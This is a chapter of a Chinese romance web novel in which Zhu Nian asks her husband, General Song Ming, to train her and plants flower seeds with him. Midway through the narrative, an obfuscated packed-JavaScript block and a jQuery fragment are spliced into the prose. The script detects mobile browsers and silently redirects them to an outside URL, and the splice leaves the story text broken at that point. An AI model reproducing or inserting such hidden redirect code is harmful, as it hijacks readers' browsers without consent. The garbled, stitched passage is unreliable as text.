次日清晨,竹念醒来时下意识摸了摸旁边的床榻,是温热的,她猛然清醒的坐了起来。
看到房间里没人后,她动了动身子没有感觉到异常时才松了口气。
昨晚睡得太早了,此时不过才九点,竹念洗漱完随手拿了几块桌子上糕点,在院子里走走逛逛,走到后院时手里的糕点正好吃完。
院子里的几棵树开始凋落,地上满是枯黄的落叶。
竹念本想随便逛逛便回去了,却被一阵喘息声吸引,她循着声音走到院子的另一边。
原来是宋名在习武。
竹念走到他身旁的石凳坐了下来,托着下巴认真看着。
边看边感叹这宋名的身材是真不错,只穿了一件轻薄的里衣,风一吹便能清楚地看见他的肌肉线条。
看着看着,竹念又低头看了看自己纤细的胳膊和腰肢,看了几分钟后她暗自下定决心,从今天开始一定要给自己定一个健身计划!
既要坐稳将军夫人的身份,又要健身,那这第一步必然是和宋名套套近乎,让他带自己锻炼身体。
等到身体调理到竹念原本的身体素质时,和宋名的感情也可以更进一步。
简直就是两全其美的办法!
竹念痴笑的看着宋名,后者浑然不知她心里打的是什么鬼主意。
等了好一会儿,宋名终于有结局的意思了,竹念非常有眼力见的倒了一杯茶递过去,狗腿似的笑着说:“将军喝茶,累不累呀,我给你按按肩膀。”
说着,竹念的手就要攀上他的肩膀了,宋名不动声色的避了避,轻声道:“你身子还未痊愈,不必做这些。”
竹念竟然被他的话感动了一下,但也就一下。
待宋名一杯茶喝完后,竹念才进入正题,认真说道:“我有件事想让将军帮忙,不知道将军有时间吗?”
不对,竹念忽然惊觉,我们不是夫妻吗?夫妻之间怎么会如此生疏,真是太大意了。
显然宋名也注意到了这一点,眉间微皱:“你我之间不必生分,有事直说。”
“只是想问问将军这几日锻炼可否带上我”竹念看着他淌着汗滴的额头,继续道:“将军也知道我的身子较弱,所以我想和将军一起锻炼,可以更快地调理好我的身体,可以吗?”
宋名望着她充满期待的眼神,点了点头:“明日,你醒了便来这寻我。”
竹念当即摇了摇头:“不不不,将军醒了就把我叫起来,等我自己睡醒你都练完了。”
“嗯,那我叫你”宋名答应的很干脆。
第一步计划成功!
竹念高兴地又问道:“那将军待会要做些什么?”
“你想做什么?”宋名反问道。
想了想,今日想先将部分种子种下去,明日开始锻炼后便可好生照看着。
她道:“将军要和我一起种花吗?”
宋名垂眼看了看她,嗯了一声。
这下竹念才咧开嘴笑了笑,心想,这宋名也并非是传闻里说的那么不苟言笑,偶尔还是会笑一笑的。
并且还非常好说话,几乎没有不答应的。
午时,两人一起吃过了午饭,竹念依然是吃完了两大碗米饭,桌上的菜也几乎被吃的干干净净。
除了那盘一口未动的佛跳墙,宋名平时饮食清淡,可竹念又是个无辣不欢的主,所以桌上几乎都是迎合竹念口味做的菜。
竹念吃完后擦了擦嘴,对宋名说了一句“我先去后花园准备一下,将军慢吃”便走了。
她走了,宋名也放下了筷子,白芹过来收拾桌子时,他接过身旁下人递过来的茶喝了一口,道:“吩咐下去,佛跳墙换成其他菜,都按照夫人的口味。”
白芹心里了然,应了声“是。”
说完后,宋名便也往后花园的方向走去。
现在住的小院与后花园的距离可谓是,一个在东边,一个在西边,走过去倒是费了些时间。
宋名刚踏入后花园便看见将衣摆系在腰间的竹念,手里还拿着一把小锄头在挖土。
她倒是专心致志,连宋名的脚步声都没听见,直到来人蹲在她的身后才后知后觉。
“将军来啦”竹念笑的眉眼弯弯的看着他,鼻尖上还沾着一点泥土。
宋名用衣袖把那点土擦去,随之看着地上的几个坑问道:“我要做什么?”
来这之前,宋名已经将站在不远处随时准备帮忙的下人撤走了,他知道竹念是想自己动手。
虽然不太理解她这种行为,但宋名还是尊重她。
“将军先在这挖……”竹念想了想要在这种的花有多少种子,随即伸出两根手指晃了晃,继续道:“二十个坑,是一种花二十个坑,至少有几十种花,将军加油!”
话落,竹念把自己手上的小锄头递给了他,又伸出一只手拍了拍他的肩膀,一副“这个艰巨的任务就交给你了”的眼神看着他。
“那你做什么?”宋名问道。
竹念神秘的笑了笑,靠近他轻声说道:“我要去把秋季播种的种子都挑出来,这可是很费力的活。”
宋名“嗯”了一声,接着开始挖坑。
竹念看他这样也没了逗人的兴致,走到一边把麻袋里的种子都挑了出来。
不得不说,这确实是个很费力的活,因为宋名派人送来的种子实在是太多了。
一麻袋里有许多种类的种子,且一种花里有许多不同的品种,需要按照春夏秋冬的播种条件一一分开。
最令人生气的是,这些种子原本都有一个小袋子分装着,现在竟然全都分散开了!
竹念分了一个小时才分完一麻袋里的三分之一,她转头看向旁边等待她挑选的十几个麻袋,忽然有些崩溃的爬到在麻袋上。
听到动静的宋名走了过来,问道:“很费体力?”
竹念点点头,甚至连头都没有抬起来看他一眼。
宋名看了她几秒,蹲在她身前把手里的小锄头塞到她手里,察觉到他动作的竹念猛然抬起头看他。
不解的问道:“你干嘛?”
宋名看着她,淡淡的回道:“既然很费体力那就让我来,你去做不费体力的。”
虽然不想就这样罢休,但竹念实在是被这些种子折磨的有些眼花缭乱了,只好拿着小锄头老老实实挖坑去了。
本以为宋名也会被这些种子给劝退,谁知道不过半小时宋名便分完了一麻袋,接着分第二个麻袋里的。
竹念气愤地更卖力挖坑了,争取在宋名分完之前把每种花需要的坑挖好。
但宋名找来的花种太多了,三个小时过去了,竹念也才挖好十种花的坑,宋名也分完了六七袋麻袋的花种。
接着,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349416|199588||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
竹念把小锄头放在一旁,随手抓了一把雏菊的种子,一一放在挖好的坑里。
之后是虞美人和洋桔梗,一一摆放好后竹念才开始填土。
可惜在天黑前只下种了五种花的种子,剩下的只能明日再继续了。
竹念拍了拍手上的泥土,对着宋名的方向喊道:“将军,该回去吃晚饭了。”
许是今日太过劳累了,竹念竟然一口气吃了三碗饭,桌上的菜一扫而空,直到实在吃不下了才放下筷子。
她抚摸着自己的肚子喃喃道:“明天不能再这样吃了,我要开始健身了。”
接着,她喊了一声:“白芹!”
“我在小姐,有什么吩咐。”
“明天不能再做这么多好吃的了,一定要监督我。”
白芹小心翼翼地看了眼旁边的宋名,问道:“小姐可是身体不舒服?”
竹念摇摇头,说道:“不是不是,明天开始我要跟着将军锻炼身体了,不能再吃这么多了”
“这……”白芹犹豫的看向宋名。
后者放下筷子,看着竹念认真的说:“想吃便吃,锻炼会消耗很多体力,不必减少食量。”
真是最近脑子有些不受控制了,健身需要的健康饮食,不是减少食量。
竹念一拍大脑,懊悔道:“将军说的是,那这样吧,我待会写份菜单,明日起吩咐膳房按照我的菜单做,保证少油少盐、绝对健康。”
直到看见宋名点头,白芹才应了声“是”。
晚饭后,两人一如昨日般在房里看书,竹念趴在床上继续看话本,宋名则在书架旁的桌子上处理一些事务。
屋外传来的阵阵鸟鸣和屋里清脆的笑声,都让宋名很安心。
看到某个情节时,竹念忽然下床跑到宋名旁边坐了下来,问道:“将军,可以问你个问题吗?”
“问。”
竹念有些憋不住笑的又看了眼手里的话本,问道:“这话本里说将军年少成名,至今没有一个妻妾,女人见了吓哭,男人见了绕道,将军真有这么吓人吗?”
说到这,宋名放下了手里的纸笔,直直的看向她,微皱着眉:“你与我虽相识不久,但也有些了解,看见我会吓哭?”
“那倒也是,将军如此平易近人,怎么会是话本里写的那样呢,简直就是胡编乱造”竹念笑盈盈的拍着马屁。
宋名是个什么样的人她已经有判断,此时问这个问题也不过是想拍拍马屁,只要能把人哄开心就什么都好说。
说完后,竹念干脆就坐在他身旁看话本,时不时还要和宋名讨论一下里面写的是真是假。
不多时,竹念便趴在桌子上睡着了。
宋名脱下身上的外袍披在她身上,目光回到了手里的信纸上,但心里始终没法静下心了。
看了几分钟依旧无果,他放下纸捏了捏眉心,妥协似的叹了口气。
是身旁的细微呼吸声,还是心里那滩平静的湖水被搅动了。
宋名不知道。
坐在椅子上看着竹念的睡脸发愣,直到睡着的人打了个喷嚏,宋名才抱着人放回到床上。
温暖的被子包裹着竹念纤细的身子,她下意识的翻了个身,抱着宋名的手蹭了蹭,嘴里呢喃了一句“红烧肉”。
宋名抽不开手,只好一同躺了下来,想着明日抽空把事情处理了。